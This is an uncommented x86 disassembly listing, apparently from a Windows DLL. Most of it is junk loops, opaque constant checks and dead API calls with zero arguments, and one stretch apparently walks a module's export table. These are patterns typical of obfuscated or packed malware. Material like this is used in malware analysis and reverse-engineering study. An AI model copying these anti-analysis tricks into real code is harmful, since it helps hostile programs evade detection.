call fcn.1001fbf4
push eax
call fcn.100714f3
pop ecx
lea ecx, [ebp - 0x2004]
call fcn.1001fbea
jmp 0x1003fffe
jmp 0x1003ffdc
mov dword [ebp - 0x1e04], 1
cmp dword [ebp - 0xbb8], 0x7186
jge 0x10040095
push dword [ebp - 0x1764]
call fcn.100714f3
pop ecx
mov dword [ebp - 0xbc0], 0xc34eea2a
mov dword [ebp - 0x1e0c], 0xfffffff9
mov dword [ebp - 0x1e14], 0xee21afa9
mov dword [ebp - 0x1e44], 0
push 3
lea ecx, [ebp - 0x1d84]
call fcn.1001ff2e
mov dword [ebp - 4], 0x2f
mov dword [ebp - 0xbc8], 0x548a
mov dword [ebp - 0x538], 0
jmp 0x100400f4
mov eax, dword [ebp - 0x538]
inc eax
mov dword [ebp - 0x538], eax
cmp dword [ebp - 0x538], 3
jge 0x10040116
push dword [ebp - 0x538]
lea ecx, [ebp - 0x1d84]
call fcn.1001ffcc
mov dword [eax], 5
jmp 0x100400e7
mov eax, dword [ebp - 0xbc0]
inc eax
mov dword [ebp - 0xbc0], eax
mov eax, dword [ebp - 0xbc8]
dec eax
mov dword [ebp - 0xbc8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1d84]
call fcn.1001ffb0
cmp dword [ebp - 0x1f0], 0xffffffff
jne 0x1004320d
mov dword [ebp - 0x19b8], 1
mov dword [ebp - 0x19b4], 1
mov dword [ebp - 0x19b0], 1
mov dword [ebp - 0x19ac], 1
lea ecx, [ebp - 0x795]
call fcn.1001ffdb
push eax
lea eax, [ebp - 0x19a8]
push eax
lea eax, [ebp - 0x19b8]
push eax
lea ecx, [ebp - 0x1f44]
call fcn.1001ffde
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1838]
call fcn.1001ff8a
mov dword [ebp - 4], 0x30
mov dword [ebp - 0x1e4c], 0x5b0bb8b
mov dword [ebp - 0x1e54], 0xb064bae0
push 1
lea ecx, [ebp - 0x1d94]
call fcn.1001ff2e
mov byte [ebp - 4], 0x31
mov dword [ebp - 0x1e5c], 0x67bb1a88
mov dword [ebp - 0xdc], 0
jmp 0x100401f8
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 2
jge 0x10040214
mov eax, dword [ebp - 0xdc]
mov dword [ebp + eax*4 - 0x1c9c], 0xfd4914d2
jmp 0x100401eb
mov dword [ebp - 0xdc], 0
jmp 0x1004022d
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 1
jge 0x1004024f
push dword [ebp - 0xdc]
lea ecx, [ebp - 0x1d94]
call fcn.1001ffcc
mov dword [eax], 1
jmp 0x10040220
push 0
lea ecx, [ebp - 0x1838]
call fcn.1001ffcc
and dword [eax], 0
jmp 0x10040285
push 0
lea ecx, [ebp - 0x1838]
call fcn.1001ffcc
mov dword [ebp - 0xbd0], eax
mov eax, dword [ebp - 0xbd0]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xbd0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1838]
call fcn.1001ffcc
cmp dword [eax], 0xfffffff2
jne 0x10040565
mov dword [ebp - 0xbd8], 0x2404
mov dword [ebp - 0x155c], 0x1000b108
cmp dword [ebp - 0xbd8], 0x2570
jle 0x10040332
and dword [ebp - 0x634], 0
jmp 0x100402d1
mov eax, dword [ebp - 0x634]
inc eax
mov dword [ebp - 0x634], eax
cmp dword [ebp - 0x634], 0x52b8
jge 0x10040332
and dword [ebp - 0x540], 0
jmp 0x100402f3
mov eax, dword [ebp - 0x540]
inc eax
mov dword [ebp - 0x540], eax
cmp dword [ebp - 0x540], 0x689c
jge 0x10040330
mov eax, dword [ebp - 0x634]
sub eax, dword [ebp - 0x540]
cdq
mov dword [ebp - 0x1570], eax
mov dword [ebp - 0x156c], edx
push dword [ebp - 0x156c]
push dword [ebp - 0x1570]
mov ecx, 0x1008bbb8
call fcn.1001fc14
jmp 0x100402e6
jmp 0x100402c4
mov dword [ebp - 0x248], 0xcefa9d19
cmp dword [ebp - 0xbd8], 0x203f
jge 0x10040358
mov edx, dword [ebp - 0x155c]
mov ecx, 0x1008bbb8
call fcn.100228da
mov dword [ebp - 0x1e64], 0x57688195
mov dword [ebp - 0x1880], 0xfffffffc
mov dword [ebp - 0x1e6c], 8
mov dword [ebp - 0x63c], 0
jmp 0x1004038f
mov eax, dword [ebp - 0x63c]
inc eax
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x63c], 3
jge 0x100403ab
mov eax, dword [ebp - 0x63c]
mov dword [ebp + eax*4 - 0x2250], 0xfffffffa
jmp 0x10040382
mov dword [ebp - 0x248], 0
jmp 0x100403c4
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 1
jg 0x1004054b
mov dword [ebp - 0x644], 0x4173bf38
mov dword [ebp - 0x1e70], 0xfffffffd
mov dword [ebp - 0x1dc0], 0
mov dword [ebp - 0x1ca8], 0
mov dword [ebp - 0x1cd8], 0x2632c5b6
mov dword [ebp - 0xbe0], 0xb500
mov dword [ebp - 0x548], 0
jmp 0x10040426
mov eax, dword [ebp - 0x548]
inc eax
mov dword [ebp - 0x548], eax
cmp dword [ebp - 0x548], 3
jge 0x10040442
mov eax, dword [ebp - 0x548]
mov dword [ebp + eax*4 - 0x222c], 0x45dcefb
jmp 0x10040419
mov dword [ebp - 0x644], 1
jmp 0x1004045b
mov eax, dword [ebp - 0x644]
dec eax
mov dword [ebp - 0x644], eax
cmp dword [ebp - 0x644], 0
jl 0x10040546
mov dword [ebp - 0x1b04], 0xfffffffc
mov dword [ebp - 0x1de0], 0xdca1a1f0
mov dword [ebp - 0x1b0c], 0xffffffff
push 1
lea ecx, [ebp - 0x1aa4]
call fcn.1001ff2e
mov byte [ebp - 4], 0x32
mov dword [ebp - 0xe4], 0
jmp 0x100404b0
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 1
jge 0x100404cc
mov eax, dword [ebp - 0xe4]
mov dword [ebp + eax*4 - 0x1ce0], 0x9c71
jmp 0x100404a3
mov dword [ebp - 0xe4], 0
jmp 0x100404e5
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 1
jge 0x10040504
push dword [ebp - 0xe4]
lea ecx, [ebp - 0x1aa4]
call fcn.1001ffcc
or dword [eax], 0xffffffff
jmp 0x100404d8
mov eax, dword [ebp - 0xbe0]
dec eax
mov dword [ebp - 0xbe0], eax
mov eax, dword [ebp - 0x248]
cmp dword [ebp + eax*4 - 0x1c9c], 0
je 0x10040532
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x1aa4]
call fcn.1001ffb0
jmp 0x10040546
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x1aa4]
call fcn.1001ffb0
jmp 0x1004044e
jmp 0x100403b7
push 0
lea ecx, [ebp - 0x1838]
call fcn.1001ffcc
mov eax, dword [eax]
mov dword [ebp - 0x1880], eax
jmp 0x10040261
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x1d94]
call fcn.1001ffb0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1838]
call fcn.1001ffb0
mov ecx, 0x10091040
call fcn.100472d9
mov ecx, dword [ebp - 0x138]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x10091040
call fcn.100472dd
and dword [ebp - 0x1e0], 0
jmp 0x100405b7
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x1e0]
cmp ecx, dword [eax + 0x18]
jae 0x1004320d
mov dword [ebp - 0x314], 0
mov dword [ebp - 0xc40], 0x885c6f1b
mov dword [ebp - 0x714], 0x4a20a298
mov dword [ebp - 0xbe8], 0x4494
mov dword [ebp - 0x176c], 0x1000b148
cmp dword [ebp - 0xbe8], 0x4548
jle 0x100406ae
and dword [ebp - 0x550], 0
jmp 0x10040624
mov eax, dword [ebp - 0x550]
inc eax
mov dword [ebp - 0x550], eax
cmp dword [ebp - 0x550], 0x1650
jge 0x100406ae
and dword [ebp - 0x64c], 0
jmp 0x10040646
mov eax, dword [ebp - 0x64c]
inc eax
mov dword [ebp - 0x64c], eax
cmp dword [ebp - 0x64c], 0x554a
jge 0x100406a9
mov eax, dword [ebp - 0x550]
add eax, dword [ebp - 0x64c]
cdq
mov dword [ebp - 0x157c], eax
mov dword [ebp - 0x1578], edx
push dword [ebp - 0x1578]
push dword [ebp - 0x157c]
lea ecx, [ebp - 0x2034]
call fcn.10010ffe
pop ecx
pop ecx
mov dword [ebp - 0x1568], eax
mov ecx, dword [ebp - 0x1568]
call fcn.1001fbf4
push eax
call fcn.100714f3
pop ecx
lea ecx, [ebp - 0x2034]
call fcn.1001fbea
jmp 0x10040639
jmp 0x10040617
mov dword [ebp - 0x71c], 2
cmp dword [ebp - 0xbe8], 0x41ad
jge 0x100406d0
push dword [ebp - 0x176c]
call fcn.100714f3
pop ecx
mov dword [ebp - 0xc20], 0xafbd13d8
mov dword [ebp - 0xbf0], 0x1aee
mov dword [ebp - 0x183c], 0x1000b170
cmp dword [ebp - 0xbf0], 0x1ba8
jle 0x1004079e
and dword [ebp - 0x558], 0
jmp 0x10040714
mov eax, dword [ebp - 0x558]
inc eax
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 0x3274
jge 0x1004079e
and dword [ebp - 0x654], 0
jmp 0x10040736
mov eax, dword [ebp - 0x654]
inc eax
mov dword [ebp - 0x654], eax
cmp dword [ebp - 0x654], 0x6b5c
jge 0x10040799
mov eax, dword [ebp - 0x558]
or eax, dword [ebp - 0x654]
cdq
mov dword [ebp - 0x1588], eax
mov dword [ebp - 0x1584], edx
push dword [ebp - 0x1584]
push dword [ebp - 0x1588]
lea ecx, [ebp - 0x2064]
call fcn.10010ffe
pop ecx
pop ecx
mov dword [ebp - 0x1574], eax
mov ecx, dword [ebp - 0x1574]
call fcn.1001fbf4
push eax
call fcn.100714f3
pop ecx
lea ecx, [ebp - 0x2064]
call fcn.1001fbea
jmp 0x10040729
jmp 0x10040707
mov dword [ebp - 0xc28], 0x470ed99e
cmp dword [ebp - 0xbf0], 0x1873
jge 0x100407c0
push dword [ebp - 0x183c]
call fcn.100714f3
pop ecx
mov dword [ebp - 0xc38], 0xfffffffb
push 4
lea ecx, [ebp - 0x1abc]
call fcn.1001ff2e
mov dword [ebp - 4], 0x33
mov dword [ebp - 0xbf8], 0x17e4
mov dword [ebp - 0x1774], 0x1000b1c0
cmp dword [ebp - 0xbf8], 0x1872
jle 0x100408a2
and dword [ebp - 0x2f0], 0
jmp 0x10040818
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0x67f7
jge 0x100408a2
and dword [ebp - 0x2f4], 0
jmp 0x1004083a
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0x3036
jge 0x1004089d
mov eax, dword [ebp - 0x2f0]
or eax, dword [ebp - 0x2f4]
cdq
mov dword [ebp - 0x1594], eax
mov dword [ebp - 0x1590], edx
push dword [ebp - 0x1590]
push dword [ebp - 0x1594]
lea ecx, [ebp - 0x2094]
call fcn.10010ffe
pop ecx
pop ecx
mov dword [ebp - 0x1580], eax
mov ecx, dword [ebp - 0x1580]
call fcn.1001fbf4
push eax
call fcn.100714f3
pop ecx
lea ecx, [ebp - 0x2094]
call fcn.1001fbea
jmp 0x1004082d
jmp 0x1004080b
cmp dword [ebp - 0xbf8], 0x17c4
jge 0x100408ba
push dword [ebp - 0x1774]
call fcn.100714f3
pop ecx
mov dword [ebp - 0xec], 0
jmp 0x100408d3
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 4
jge 0x100408f5
push dword [ebp - 0xec]
lea ecx, [ebp - 0x1abc]
call fcn.1001ffcc
mov dword [eax], 0x65dea311
jmp 0x100408c6
mov dword [ebp - 0xc00], 0x3e68
mov dword [ebp - 0x158c], 0x1000b214
cmp dword [ebp - 0xc00], 0x4077
jle 0x100409c1
and dword [ebp - 0x2fc], 0
jmp 0x1004092f
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0x9f5
jge 0x100409c1
and dword [ebp - 0x304], 0
jmp 0x10040955
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0x4b69
jge 0x100409bc
and dword [ebp - 0x30c], 0
jmp 0x10040977
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0x61a3
jge 0x100409ba
mov eax, dword [ebp - 0x2fc]
sub eax, dword [ebp - 0x304]
sub eax, dword [ebp - 0x30c]
cdq
mov dword [ebp - 0x15a0], eax
mov dword [ebp - 0x159c], edx
push dword [ebp - 0x159c]
push dword [ebp - 0x15a0]
mov ecx, 0x1008bbb8
call fcn.1001fc14
jmp 0x1004096a
jmp 0x10040948
jmp 0x10040922
mov dword [ebp - 0xec], 0
jmp 0x100409da
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 2
jge 0x100409f6
mov eax, dword [ebp - 0xec]
mov dword [ebp + eax*4 - 0x1d14], 0
jmp 0x100409cd
cmp dword [ebp - 0xc00], 0x3cb6
jge 0x10040a12
mov edx, dword [ebp - 0x158c]
mov ecx, 0x1008bbb8
call fcn.100228da
mov eax, dword [ebp - 0x314]
mov dword [ebp - 0x714], eax
cmp dword [ebp - 0x714], 0
jne 0x10040a8c
mov eax, dword [ebp - 0x314]
mov dword [ebp - 0x1b14], eax
mov eax, dword [ebp - 0x714]
cmp dword [ebp - 0x71c], eax
jne 0x10040a4d
mov dword [ebp - 0xc08], 1
jmp 0x10040a54
and dword [ebp - 0xc08], 0
mov eax, dword [ebp - 0xc08]
sub eax, 0xae2
cmp eax, dword [ebp - 0x314]
jle 0x10040a73
mov dword [ebp - 0xc10], 1
jmp 0x10040a7a
and dword [ebp - 0xc10], 0
cmp dword [ebp - 0xc10], 0
je 0x10040a8c
and dword [ebp - 0xc18], 0
jmp 0x10040a96
mov dword [ebp - 0xc18], 1
mov eax, dword [ebp - 0xc18]
mov dword [ebp - 0xc20], eax
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0xc28], eax
cmp dword [ebp - 0xc28], 0xe9323d1b
je 0x10040ac6
mov dword [ebp - 0xc30], 1
jmp 0x10040acd
and dword [ebp - 0xc30], 0
mov eax, dword [ebp - 0xc30]
mov dword [ebp - 0xc38], eax
mov eax, dword [ebp - 0x71c]
cmp dword [ebp - 0xc38], eax
jge 0x10040af3
mov dword [ebp - 0x724], 1
jmp 0x10040afa
and dword [ebp - 0x724], 0
push 0
lea ecx, [ebp - 0x1abc]
call fcn.1001ffcc
mov ecx, dword [ebp - 0x724]
mov dword [eax], ecx
mov eax, dword [ebp - 0x71c]
cmp dword [ebp - 0x724], eax
jg 0x10040b29
mov dword [ebp - 0xc48], 1
jmp 0x10040b30
and dword [ebp - 0xc48], 0
mov eax, dword [ebp - 0x314]
mov dword [ebp - 0xc40], eax
mov eax, dword [ebp - 0xc40]
cmp eax, dword [ebp - 0xc48]
jl 0x10040b56
mov dword [ebp - 0xc50], 1
jmp 0x10040b5d
and dword [ebp - 0xc50], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc50]
mov dword [ebp + eax - 0x1d14], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1abc]
call fcn.1001ffb0
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x1f8]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x1e0]
lea eax, [ecx + eax*4]
mov dword [ebp - 0xcd0], eax
mov dword [ebp - 0x324], 0
mov dword [ebp - 0x31c], 0
jmp 0x10040bc0
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 2
jge 0x10040bdc
mov eax, dword [ebp - 0x31c]
mov dword [ebp + eax*4 - 0x1f74], 0xfb6318d5
jmp 0x10040bb3
mov dword [ebp - 0x324], 0xfffffff1
jmp 0x10040bf5
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0xfffffff3
jg 0x10040ee2
push 2
lea ecx, [ebp - 0x1848]
call fcn.1001ff2e
mov dword [ebp - 4], 0x34
mov dword [ebp - 0xc58], 0x1f7
mov dword [ebp - 0x1598], 0x1000b228
cmp dword [ebp - 0xc58], 0x20f
jle 0x10040d44
and dword [ebp - 0x344], 0
jmp 0x10040c50
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0x2223
jge 0x10040d44
and dword [ebp - 0x32c], 0
jmp 0x10040c76
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0x6fde
jge 0x10040d3f
and dword [ebp - 0x334], 0
jmp 0x10040c9c
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0x66a6
jge 0x10040d3a
and dword [ebp - 0x33c], 0
jmp 0x10040cc2
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0x3d51
jge 0x10040d35
mov eax, dword [ebp - 0x32c]
imul eax, dword [ebp - 0x334]
cdq
idiv dword [ebp - 0x33c]
add edx, dword [ebp - 0x344]
mov eax, edx
cdq
mov dword [ebp - 0x15ac], eax
mov dword [ebp - 0x15a8], edx
push dword [ebp - 0x15a8]
push dword [ebp - 0x15ac]
lea ecx, [ebp - 0x20c4]
call fcn.10010ffe
pop ecx
pop ecx
mov dword [ebp - 0x1884], eax
mov ecx, dword [ebp - 0x1884]
call fcn.1001fbf4
push eax
call fcn.100714f3
pop ecx
lea ecx, [ebp - 0x20c4]
call fcn.1001fbea
jmp 0x10040cb5
jmp 0x10040c8f
jmp 0x10040c69
jmp 0x10040c43
cmp dword [ebp - 0xc58], 0xffffffba
jge 0x10040d59
push dword [ebp - 0x1598]
call fcn.100714f3
pop ecx
mov dword [ebp - 0x34c], 0
jmp 0x10040d72
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 2
jge 0x10040d94
push dword [ebp - 0x34c]
lea ecx, [ebp - 0x1848]
call fcn.1001ffcc
mov dword [eax], 0x99fb023e
jmp 0x10040d65
mov byte [ebp - 0x150], 0
movzx eax, byte [ebp - 0x150]
test eax, eax
je 0x10040e68
mov dword [ebp - 0xc60], 0x643b
mov dword [ebp - 0x177c], 0x1000b278
cmp dword [ebp - 0xc60], 0x6579
jle 0x10040e44
and dword [ebp - 0x354], 0
jmp 0x10040de0
cmp dword [ebp - 0x354], 0x7804
jge 0x10040e44
and dword [ebp - 0x35c], 0
jmp 0x10040e02
cmp dword [ebp - 0x35c], 0x3b34
jge 0x10040e42
mov eax, dword [ebp - 0x354]
cdq
idiv dword [ebp - 0x35c]
mov eax, edx
cdq
mov dword [ebp - 0x15b8], eax
mov dword [ebp - 0x15b4], edx
push dword [ebp - 0x15b4]
push dword [ebp - 0x15b8]
mov ecx, 0x1008bbb8
call fcn.1001fc14
jmp 0x10040df5
jmp 0x10040dd3
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp - 0xc60], 0x615d
jge 0x10040e68
mov edx, dword [ebp - 0x177c]
mov ecx, 0x1008bbb8
call fcn.100228da
push 0
lea ecx, [ebp - 0x1848]
call fcn.1001ffcc
and dword [eax], 0
jmp 0x10040e9e
push 0
lea ecx, [ebp - 0x1848]
call fcn.1001ffcc
mov dword [ebp - 0xc68], eax
mov eax, dword [ebp - 0xc68]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xc68]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1848]
call fcn.1001ffcc
cmp dword [eax], 1
jg 0x10040ece
mov byte [ebp - 0x1b1], 0
movzx eax, byte [ebp - 0x1b1]
test eax, eax
je 0x10040ecc
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
jmp 0x10040e7a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1848]
call fcn.1001ffb0
jmp 0x10040be8
cmp dword [ebp - 0xcd0], 0
je 0x10043208
mov dword [ebp - 0x250], 1
mov dword [ebp - 0xc70], 0xc3d069f4
mov dword [ebp - 0x48], 0x218e9934
push 1
lea ecx, [ebp - 0x12ac]
call fcn.1001ff2e
mov dword [ebp - 4], 0x35
mov dword [ebp - 0x36c], 0x7c7ab89b
push 2
lea ecx, [ebp - 0x800]
call fcn.1001ff2e
mov byte [ebp - 4], 0x36
mov dword [ebp - 0x374], 0xb13
mov dword [ebp - 0x15a4], 0xffffffff
mov dword [ebp - 0xf4], 0
jmp 0x10040f66
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 1
jge 0x10040f88
push dword [ebp - 0xf4]
lea ecx, [ebp - 0x12ac]
call fcn.1001ffcc
mov dword [eax], 0xfffffff8
jmp 0x10040f59
mov dword [ebp - 0xf4], 0
jmp 0x10040fa1
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 2
jge 0x10040fc3
push dword [ebp - 0xf4]
lea ecx, [ebp - 0x800]
call fcn.1001ffcc
mov dword [eax], 0xb168f92
jmp 0x10040f94
cmp dword [ebp - 0x250], 0
jne 0x10041069
mov eax, dword [ebp - 0x250]
mov dword [ebp - 0x1e38], eax
cmp dword [ebp - 0x250], 0
je 0x10040ff6
mov dword [ebp - 0xc70], 1
cmp dword [ebp - 0xc70], 1
mov eax, dword [ebp - 0x250]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
neg eax
cmp eax, dword [ebp - 0x250]
jge 0x10041018
mov dword [ebp - 0xc78], 1
jmp 0x1004101f
and dword [ebp - 0xc78], 0
cmp dword [ebp - 0xc78], 0xc4530722
ja 0x10041037
mov dword [ebp - 0x72c], 1
jmp 0x1004103e
and dword [ebp - 0x72c], 0
push 0
lea ecx, [ebp - 0x12ac]
call fcn.1001ffcc
mov ecx, dword [ebp - 0x72c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x72c]
add eax, 0x5589b583
jne 0x10041069
and dword [ebp - 0xc80], 0
jmp 0x10041073
mov dword [ebp - 0xc80], 1
mov eax, dword [ebp - 0xc80]
mov dword [ebp - 0x36c], eax
mov esi, dword [ebp - 0x36c]
push 0
lea ecx, [ebp - 0x800]
call fcn.1001ffcc
mov dword [eax], esi
mov dword [ebp - 0x48], 0
jmp 0x100410a4
cmp dword [ebp - 0x48], 0
jl 0x10041339
mov dword [ebp - 0xc98], 0x6eae1177
push 2
lea ecx, [ebp - 0x1ad4]
call fcn.1001ff2e
mov byte [ebp - 4], 0x37
mov dword [ebp - 0x364], 0
jmp 0x100410e2
cmp dword [ebp - 0x364], 2
jge 0x10041104
push dword [ebp - 0x364]
lea ecx, [ebp - 0x1ad4]
call fcn.1001ffcc
mov dword [eax], 0x7a8d1d9d
jmp 0x100410d5
mov byte [ebp - 0x159], 0
movzx eax, byte [ebp - 0x159]
test eax, eax
je 0x10041120
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x800]
call fcn.1001ffb0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12ac]
call fcn.1001ffb0
mov eax, dword [ebp - 0xcd0]
mov ecx, dword [ebp - 0x1f8]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x1f6c]
call fcn.10047200
mov dword [ebp - 4], 0x38
push 2
lea ecx, [ebp - 0x6cc]
call fcn.1001ff2e
mov byte [ebp - 4], 0x39
mov dword [ebp - 0x258], 0xe23a
mov dword [ebp - 0x15c8], 3
mov dword [ebp - 0x15d4], 0
mov dword [ebp - 0x37c], 0
jmp 0x100413c0
cmp dword [ebp - 0x37c], 2
jge 0x100413e2
push dword [ebp - 0x37c]
lea ecx, [ebp - 0x6cc]
call fcn.1001ffcc
mov dword [eax], 0xe53d8da8
jmp 0x100413b3
mov dword [ebp - 0xcd8], 0x350
mov dword [ebp - 0x15b0], 0x1000b2d8
cmp dword [ebp - 0xcd8], 0x41d
jle 0x100414b0
jmp 0x100405aa
mov dword [ebp - 0x1e8], 0xffffffff
mov dword [ebp - 0x1d0c], 0x746e33a7
mov dword [ebp - 0x16f0], 0xa56718e5
mov dword [ebp - 0xfa0], 0x2e23
mov dword [ebp - 0x1658], 0x1000b470
cmp dword [ebp - 0xfa0], 0x3164
jle 0x10043303
and dword [ebp - 0x4cc], 0
jmp 0x10043265
mov eax, dword [ebp - 0x4cc]
inc eax
mov dword [ebp - 0x4cc], eax
cmp dword [ebp - 0x4cc], 0xfdc
jge 0x100432f9
and dword [ebp - 0x4bc], 0
jmp 0x1004328b
mov eax, dword [ebp - 0x4bc]
inc eax
mov dword [ebp - 0x4bc], eax
cmp dword [ebp - 0x4bc], 0x34b5
jge 0x100432f4
and dword [ebp - 0x4c4], 0
jmp 0x100432ad
mov eax, dword [ebp - 0x4c4]
inc eax
mov dword [ebp - 0x4c4], eax
cmp dword [ebp - 0x4c4], 0x49c8
jge 0x100432f2
mov eax, dword [ebp - 0x4bc]
mov ecx, dword [ebp - 0x4c4]
shl eax, cl
or eax, dword [ebp - 0x4cc]
cdq
mov dword [ebp - 0x1630], eax
mov dword [ebp - 0x162c], edx
push dword [ebp - 0x162c]
push dword [ebp - 0x1630]
mov ecx, 0x1008bbb8
call fcn.1001fc14
jmp 0x100432a0
jmp 0x1004327e
jmp 0x10043258
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
mov dword [ebp - 0x1670], 0x9bb7a140
cmp dword [ebp - 0xfa0], 0x2a68
jge 0x10043329
mov edx, dword [ebp - 0x1658]
mov ecx, 0x1008bbb8
call fcn.100228da
mov dword [ebp - 0x16e8], 4
mov dword [ebp - 0x1b64], 0x8953526c
mov dword [ebp - 0xfa8], 0x311a
mov dword [ebp - 0x16d8], 0x1000b498
cmp dword [ebp - 0xfa8], 0x3405
jle 0x10043428
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
and dword [ebp - 0x4d4], 0
jmp 0x10043381
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x4d4], eax
cmp dword [ebp - 0x4d4], 0x1e1f
jge 0x10043414
and dword [ebp - 0x4dc], 0
jmp 0x100433a7
mov eax, dword [ebp - 0x4dc]
inc eax
mov dword [ebp - 0x4dc], eax
cmp dword [ebp - 0x4dc], 0x3d88
jge 0x1004340f
and dword [ebp - 0x4e4], 0
jmp 0x100433c9
mov eax, dword [ebp - 0x4e4]
inc eax
mov dword [ebp - 0x4e4], eax
cmp dword [ebp - 0x4e4], 0x6cfa
jge 0x1004340d
mov eax, dword [ebp - 0x4d4]
imul eax, dword [ebp - 0x4dc]
sub eax, dword [ebp - 0x4e4]
cdq
mov dword [ebp - 0x163c], eax
mov dword [ebp - 0x1638], edx
push dword [ebp - 0x1638]
push dword [ebp - 0x163c]
mov ecx, 0x1008bbb8
call fcn.1001fc14
jmp 0x100433bc
jmp 0x1004339a
jmp 0x10043374
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowPos]
mov dword [ebp - 0x4ec], 0
jmp 0x10043441
mov eax, dword [ebp - 0x4ec]
inc eax
mov dword [ebp - 0x4ec], eax
cmp dword [ebp - 0x4ec], 3
jge 0x1004345d
mov eax, dword [ebp - 0x4ec]
mov dword [ebp + eax*4 - 0x1f00], 0
jmp 0x10043434
cmp dword [ebp - 0xfa8], 0x2f14
jge 0x10043479
mov edx, dword [ebp - 0x16d8]
mov ecx, 0x1008bbb8
call fcn.100228da
mov dword [ebp - 0x1e8], 1
mov dword [ebp - 0x1e8], 2
jmp 0x1004349c
mov eax, dword [ebp - 0x1e8]
dec eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0xfffffff9
jge 0x10043789
mov dword [ebp - 0x744], 0xcda2
mov dword [ebp - 0xfc8], 0x2b82c447
mov dword [ebp - 0x132c], 0x3f08700d
mov dword [ebp - 0x167c], 0x81de9829
mov dword [ebp - 0x1df8], 0x7d0d1d8
push 3
lea ecx, [ebp - 0x1a38]
call fcn.1001ff2e
mov dword [ebp - 4], 0x3f
mov dword [ebp - 0xfb0], 0xae2
mov dword [ebp - 0x1664], 0x1000b4e8
cmp dword [ebp - 0xfb0], 0xc57
jle 0x10043596
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetClassLongA]
and dword [ebp - 0x4f4], 0
jmp 0x10043535
mov eax, dword [ebp - 0x4f4]
inc eax
mov dword [ebp - 0x4f4], eax
cmp dword [ebp - 0x4f4], 0x7eae
jge 0x10043596
and dword [ebp - 0x4fc], 0
jmp 0x10043557
mov eax, dword [ebp - 0x4fc]
inc eax
mov dword [ebp - 0x4fc], eax
cmp dword [ebp - 0x4fc], 0xe8b
jge 0x10043594
mov eax, dword [ebp - 0x4f4]
add eax, dword [ebp - 0x4fc]
cdq
mov dword [ebp - 0x1648], eax
